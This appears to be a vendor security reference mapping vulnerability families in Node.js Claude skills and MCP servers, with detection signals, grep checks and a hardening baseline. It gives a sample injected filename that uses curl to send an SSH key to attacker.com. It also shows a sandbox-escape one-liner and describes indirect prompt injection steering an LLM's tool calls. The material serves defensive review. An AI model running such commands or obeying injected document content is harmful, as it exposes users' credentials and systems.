Claude Skill Security: A Complete Attack Surface Reference for the SA-SKL Family
Claude skills and MCP servers written in Node.js share a common attack surface that differs significantly from traditional web API security. Tools that sound safe — “search my files,” “process this document,” “call this API” — execute server-side code with the privileges of the MCP host process. Prompt injection in a document the LLM is reading can reach the skill’s exec() call. A Math.random() session token is recoverable from three observed values. A pipe() call without a destroy() handler accumulates file descriptors until the OS kills the process. This reference maps all 15 attack families in the SA-SKL taxonomy, organised by attack impact and scored by maximum severity.
Why Claude skill security is different from web API security
Traditional web API security assumes a human user who makes deliberate requests. Claude skill security must assume an LLM intermediary that:
- Passes tool arguments verbatim from external content. A PDF that contains a carefully formatted string can become a
child_process.exec()command argument. The LLM does not sanitise or escape argument values. - Invokes tools in bursts. Parallel tool use, agentic loops, and benchmark scripts can invoke a tool thousands of times per minute. Rate limits and timeouts that would never trigger in human-paced interactions are essential here.
- Operates on behalf of a human who cannot observe the execution. An MITM on a TLS connection, a module loaded from a dependency confusion attack, or a credential exposed in a log is invisible to the human who initiated the task.
- Receives tool results as trusted context. A tool that returns a malicious error message can redirect the LLM to call dangerous tools or disclose session tokens. Error content is part of the attack surface.
The SA-SKL taxonomy was developed by SkillAudit to enumerate the specific attack families that arise from these conditions. The first letter (SA) identifies the product (SkillAudit). The second component (SKL) identifies the skill-layer scope. Individual families are three-letter codes (ENV, SBX, ...) and specific findings within each family are numbered (001, 002, ...). This document covers all 15 current families, grouped by attack impact category.
Group 1: Credential theft
Three families produce direct credential disclosure: environment variables exposed through logging or LLM context, TLS validation bypasses that allow MITM on all API traffic, and logging configurations that write API keys to indexed log pipelines.
Skills that log process.env, interpolate env vars into error messages, or accept dynamic env var names as tool arguments expose all host credentials to the LLM context window and server logs. ENV-004 (dynamic env var access: process.env[userKey]) is the highest-severity finding: it provides an arbitrary read primitive for the entire process environment, including cloud provider credentials, database passwords, and API keys for all services the host has access to. See SA-SKL-ENV detailed reference.
Skills that set rejectUnauthorized: false in https.Agent options or set NODE_TLS_REJECT_UNAUTHORIZED=0 in process environment disable TLS validation for all outbound connections in the process. Any attacker on the network path — a shared WiFi network, a cloud VPC with a compromised route, a corporate proxy — can MITM all API calls and read credentials and session tokens in transit. TLS-001 and TLS-002 are unconditional CRITICAL findings: there is no legitimate production use case for disabling TLS validation. See SA-SKL-TLS detailed reference.
Skills that log tool arguments verbatim expose user content, PII, and API keys to centralised log pipelines accessible to all engineering staff. LOG-002 (API keys in log output) converts log-read access directly into active session hijacking. Even without credentials, LOG-001 (tool arguments at INFO level) produces a GDPR-relevant PII exposure in any skill that processes documents or user data. See SA-SKL-LOG detailed reference.
Group 2: Code execution
Five families produce code execution within the MCP host process: Node.js sandbox escape, unsafe deserialization, CLI and subprocess injection, Worker thread vulnerabilities, and middleware/plugin injection. Code execution in any of these families carries the full privileges of the skill process — which in a cloud deployment typically includes IAM credentials with broad access.
The foundational code execution family. Skills that use eval(), new Function(), or vm.runInContext() with user-supplied code are unconditionally exploitable: the constructor chain escape ({}.constructor.constructor('return process')()) retrieves the Node.js process object from within the context in one line. SBX-004 (path traversal without realpath() + boundary check) is one of the most common findings in production skills: path.join(__dirname, userArg) does not prevent ../ traversal. See SA-SKL-SBX detailed reference.
Skills that deserialise user-supplied data without schema validation face prototype pollution (via __proto__ key injection in JSON.parse), YAML tag-based RCE (js-yaml with DEFAULT_FULL_SCHEMA), and function expression execution via node-serialize. SRL-002 and SRL-003 produce direct code execution from a crafted YAML or serialised function string. See SA-SKL-SRL detailed reference.
child_process.exec() with any user-controlled data in the command string is a shell injection vulnerability exploitable by prompt injection in documents. A crafted filename like report.pdf; curl attacker.com/exfil -d @~/.ssh/id_rsa in a document the LLM processes reaches the skill’s exec() call and exfiltrates the user’s SSH key. Even execFile() is vulnerable to flag injection when user input appears on the option-key side of an argument. See SA-SKL-CLI detailed reference.
Skills that pass user-supplied workerData to Worker scripts where it is used in require() or import() allow arbitrary module loading within the Worker. Worker threads have full Node.js API access — they are not sandboxed. WRK-003 (eval/vm.runInContext in Worker with message data) has the same RCE impact as SA-SKL-SBX, with the additional appearance of isolation that may lead developers to believe it is safe. WRK-004 (Worker without error listener) produces process-wide DoS. See SA-SKL-WRK detailed reference.
Skills with configurable middleware or plugin loading expose three code execution paths: require(config.middlewarePath) at startup, new Function(storedPluginCode) at call time, and Express-style middleware chains where user-supplied headers set authentication properties. MID-001, MID-002, and MID-003 are all CRITICAL — any skill that supports operator extensibility through configurable code paths needs to validate those paths against a pre-vetted allowlist of bundled modules. See SA-SKL-MID detailed reference.
Group 3: Supply chain
Skills whose package.json references non-scoped npm package names without a private registry configuration are vulnerable to dependency confusion attacks: an attacker publishes a package with the same name on public npm at a higher version, and npm install installs it instead of the private version. DEP-002 (postinstall lifecycle scripts with network calls) is the highest-severity finding: a compromised or confused dependency that exfiltrates credentials during npm install runs before any skill code executes, making it invisible to skill-level security controls. See SA-SKL-DEP detailed reference.
Group 4: Data exfiltration
Skills that make undisclosed network calls — telemetry at module load, remote config polling in setInterval(), or dynamic fetch() to URLs from tool arguments — can exfiltrate data through channels that bypass corporate DLP and firewall controls. NET-002 (DNS TXT exfiltration via dns.resolveTxt() with encoded subdomain) bypasses virtually all HTTP-level controls: each DNS query delivers up to 8KB of payload to an attacker’s authoritative nameserver without any HTTP traffic being visible. NET-004 (WebSocket C2 channel opened at module load) provides persistent bidirectional remote access for the process lifetime. See SA-SKL-NET detailed reference.
Group 5: State leakage and multi-tenancy
Skills deployed in multi-user hosted environments that use module-level mutable variables for per-request context allow one user’s data to appear in another user’s tool results. MEM-001 (module-level variables for request context) is one of the most pervasive findings in hosted skill deployments: it is invisible in local single-user testing but catastrophic in hosted multi-tenant environments where many users share the same process. MEM-002 (sequential integer session keys without ownership check) allows a brute-force session enumeration attack that returns all users’ session data. See SA-SKL-MEM detailed reference.
Group 6: Resource exhaustion and denial-of-service
Three families produce DoS through resource exhaustion: resource lifecycle leaks, EventEmitter and stream misuse, and missing timeout and rate-limit controls.
Skills that open file handles, acquire database connections, or create readline streams in tool handlers without closing them on error paths leak OS file descriptors and database connection pool slots. RCL-001 and RCL-002 produce a slow-burn DoS: the leak is invisible under normal load but triggers complete unavailability when the OS fd limit or connection pool limit is reached. In typical Node.js deployments with a default fd limit of 1024 and a default pool size of 10, a sustained invocation rate of dozens of tool calls is sufficient to exhaust both. See SA-SKL-RCL detailed reference.
Skills using pipe() without bidirectional error + destroy() handlers leak sockets and file handles on stream errors — the same fd leak as SA-SKL-RCL but triggered by network failures rather than exception paths. EVT-004 (process.on('uncaughtException') without process.exit()) is particularly dangerous for security: it silently swallows exceptions from authentication checks and other security controls, allowing attackers to bypass checks by crafting inputs that trigger specific exceptions. See SA-SKL-EVT detailed reference.
The newest family in the SA-SKL taxonomy covers the specific resource exhaustion vectors that arise from the LLM’s ability to invoke tools at machine speed. TMO-002 (no concurrency limit) causes thundering herd against upstream APIs; TMO-003 (no per-session rate limit) allows a looping LLM to exhaust a monthly API budget in minutes; TMO-004 (fetch without AbortSignal) is the most common finding in skills that use the native fetch() API, which has no default timeout unlike http.request(). See SA-SKL-TMO detailed reference.
Group 7: Cryptographic failures
Skills that implement cryptographic operations directly rather than using battle-tested libraries face four error classes. CRY-001 (Math.random() for session tokens) is the most impactful: the V8 xorshift128+ PRNG state is recoverable from approximately three consecutive outputs, meaning all tokens generated by the process are compromised after an attacker observes a handful of token values. CRY-003 (static IV from environment variable for AES-CBC) allows an XOR attack: two ciphertexts with the same IV XOR to the XOR of their plaintexts, revealing one plaintext given knowledge of the other. See SA-SKL-CRY detailed reference.
Quick-reference severity table
The following table summarises all 15 SA-SKL families. Max severity reflects the highest-severity individual finding within the family; typical severity reflects the median finding across all patterns in the family.
| Family | Name | Group | Max severity | Key detection signal |
|---|---|---|---|---|
| SA-SKL-ENV | Environment variable exposure | Credential theft | CRITICAL | process.env[userKey] or console.log(process.env) |
| SA-SKL-TLS | TLS certificate validation bypass | Credential theft | CRITICAL | rejectUnauthorized: false or NODE_TLS_REJECT_UNAUTHORIZED=0 |
| SA-SKL-LOG | Logging and observability exposure | Credential theft | CRITICAL | Token/key values in logger.* or console.log at INFO+ |
| SA-SKL-SBX | Sandbox escape | Code execution | CRITICAL | eval(), new Function(), vm.runInNewContext() with user input |
| SA-SKL-SRL | Serialization and deserialization | Code execution | CRITICAL | js-yaml with DEFAULT_FULL_SCHEMA, node-serialize with user input |
| SA-SKL-CLI | CLI and subprocess injection | Code execution | CRITICAL | exec(templateLiteral) with tool argument variables |
| SA-SKL-WRK | Worker Thread security | Code execution | CRITICAL | require(workerData.*) or eval() with postMessage data in Worker |
| SA-SKL-MID | Middleware and plugin injection | Code execution | CRITICAL | require(config.middlewarePath) or new Function(storedCode) |
| SA-SKL-DEP | Dependency confusion | Supply chain | CRITICAL | Non-scoped package names without private registry, postinstall scripts with network calls |
| SA-SKL-NET | Network egress | Data exfiltration | CRITICAL | dns.resolveTxt(userSubdomain), new WebSocket() at module load, fetch(toolArgUrl) |
| SA-SKL-MEM | Memory and state leakage | State leakage | CRITICAL | Module-level mutable vars assigned in handler, session Map with sequential integer keys |
| SA-SKL-RCL | Resource cleanup and lifecycle | DoS | HIGH | File handles or DB connections without finally { resource.close() } |
| SA-SKL-EVT | EventEmitter and stream security | DoS / silent failures | HIGH | pipe() without destroy, uncaughtException without process.exit() |
| SA-SKL-TMO | Timeout and rate-limit absence | DoS | HIGH | fetch() without AbortSignal, no concurrency semaphore, no per-session counter |
| SA-SKL-CRY | Cryptographic implementation errors | Cryptographic failures | CRITICAL | Math.random() for tokens, createCipheriv with static IV, createHash('md5') for security |
The five highest-return checks for a rapid skill security review
If you have 30 minutes for a manual review of a Claude skill codebase and cannot run a full SkillAudit scan, these five checks catch the highest-impact findings:
- Search for
exec(with template literals. Anychild_process.exec()call where the command string includes a template literal or string concatenation containing tool argument variables is a CRITICAL shell injection vulnerability (SA-SKL-CLI-001). Usegrep -n "exec\`\|exec(.*\${"as a starting point. - Search for
rejectUnauthorized: false. Any occurrence in the codebase, including comments, disables TLS validation (SA-SKL-TLS-001). One grep:grep -rn "rejectUnauthorized" src/. - Search for
process.envin error strings and log calls.console.log(process.env)or`error: ${err.message} key=${process.env.API_KEY}`writes credentials to logs and potentially to LLM context (SA-SKL-ENV-001, ENV-002). - Check module-level mutable state. Any
letorvarvariable declared at module scope that is written inside a tool handler function is a multi-tenancy state leakage vulnerability in hosted deployments (SA-SKL-MEM-001). - Check
fetch()calls forsignaloption. Everyfetch()call withoutsignal: AbortSignal.timeout(N)is a hanging connection risk under network failure (SA-SKL-TMO-004).
These five checks take about 10 minutes total and catch the families with the highest real-world exploitability. They do not replace a full static analysis scan — dependency confusion, prototype pollution in deserialization, Worker thread escapes, and cryptographic IV reuse all require deeper analysis — but they catch the most commonly exploitable patterns that appear in skill code written from tutorial examples and AI-generated code.
Scope and boundaries of the SA-SKL taxonomy
The SA-SKL families cover Claude skill application code written in Node.js. They explicitly exclude:
- SA-MCP: MCP protocol-layer vulnerabilities. The 15 SA-MCP families (SHT, SAM, ELI, ANN, OAU, RSB, CMP, RTS, PRG, LOG, PAG, CAN, VER, ERR, CTY) cover attacks on the MCP protocol itself: tool shadowing, prompt injection via tool descriptions, server authentication, resource subscriptions, completions API abuse, protocol version downgrade, and content type confusion. See our MCP Server Attack Surface: A Complete Map for Security Reviewers for the full SA-MCP taxonomy.
- SA-APP: Application-layer logic vulnerabilities. Business logic errors, IDOR in application data models, and authorisation policy mistakes are application-specific and not covered by the skill or MCP taxonomy.
- LLM-layer: Prompt injection as a conversation attack. Direct prompt injection (user crafts a prompt that bypasses the system prompt) is an LLM-layer concern, not a skill-layer concern. Indirect prompt injection (adversarial content in documents the LLM processes reaching skill arguments) is specifically included in SA-SKL-CLI, SA-SKL-SBX, SA-SKL-NET, and SA-SKL-WRK as the injection vector for those vulnerabilities.
How SkillAudit scans for SA-SKL vulnerabilities
SkillAudit runs a three-phase analysis on MCP skill source packages:
- Dependency graph analysis (supply chain). Resolves the full transitive dependency tree and checks package names against known dependency confusion targets (non-scoped names matching internal naming patterns), verifies that a lock file is committed, and identifies postinstall scripts that make network calls (SA-SKL-DEP).
- Static AST analysis (skill code). Parses JavaScript and TypeScript source files into an AST and runs 60+ pattern rules covering all 15 SA-SKL families. Data flow tracing follows tool argument values (
req.params.arguments.*) through assignments, destructuring, and function calls to their eventual use sites in subprocess arguments, log calls, environment variable accesses, and crypto operations. - Configuration review (deployment settings). Checks
package.jsonfor missing scope prefixes,.npmrcfor registry configuration, environment variable naming patterns for credential exposure risk, and Node.js version for known vulnerability exposure.
Results are presented as a scored report with each finding linked to its SA-SKL family reference, reproduction steps, and a remediation snippet. Run a free SkillAudit scan on your Claude skill or MCP server to check all 15 families in a single 60-second report.
Building a secure Claude skill: the minimum viable security baseline
If you are writing a new Claude skill from scratch, these practices address the highest-severity SA-SKL findings before a single line of feature code ships:
- Never use
exec()with tool arguments. UseexecFile()with an explicit argument array. Validate all arguments against an allowlist before passing toexecFile(). Add a--end-of-options terminator before user-supplied positional arguments. (SA-SKL-CLI) - Never call
eval(),new Function(), orvm.runInContext()with user data. These patterns are unconditionally exploitable. (SA-SKL-SBX, SA-SKL-WRK-003, SA-SKL-MID-003) - Validate file paths with
path.resolve()+ boundary check. After resolving, verify the resolved path starts with your intended base directory. (SA-SKL-SBX-004) - Use
crypto.randomBytes()for all tokens, nonces, and keys. Never useMath.random()orDate.now()for security-relevant random values. (SA-SKL-CRY-001) - Log argument keys, not values. Log
Object.keys(req.params.arguments), notreq.params.argumentsitself. (SA-SKL-LOG, SA-SKL-MID-004) - Add
signal: AbortSignal.timeout(30_000)to everyfetch()call. There is no default timeout. (SA-SKL-TMO-004) - Wrap all external calls in a semaphore. Set max concurrency to a safe fraction of your upstream rate limit. (SA-SKL-TMO-002)
- Use
stream.pipeline()instead ofpipe(). It handles cleanup on error automatically. (SA-SKL-EVT-002, SA-SKL-RCL)
These eight practices address the CRITICAL and HIGH findings in the credential theft, code execution, and DoS groups. The remaining families — dependency confusion, state leakage, and cryptographic failures — require deeper review of your dependency graph, deployment architecture, and any cryptographic primitives your skill implements directly. SkillAudit automates all of this analysis and surfaces findings with line-level context so your team can address them without needing to become security experts first.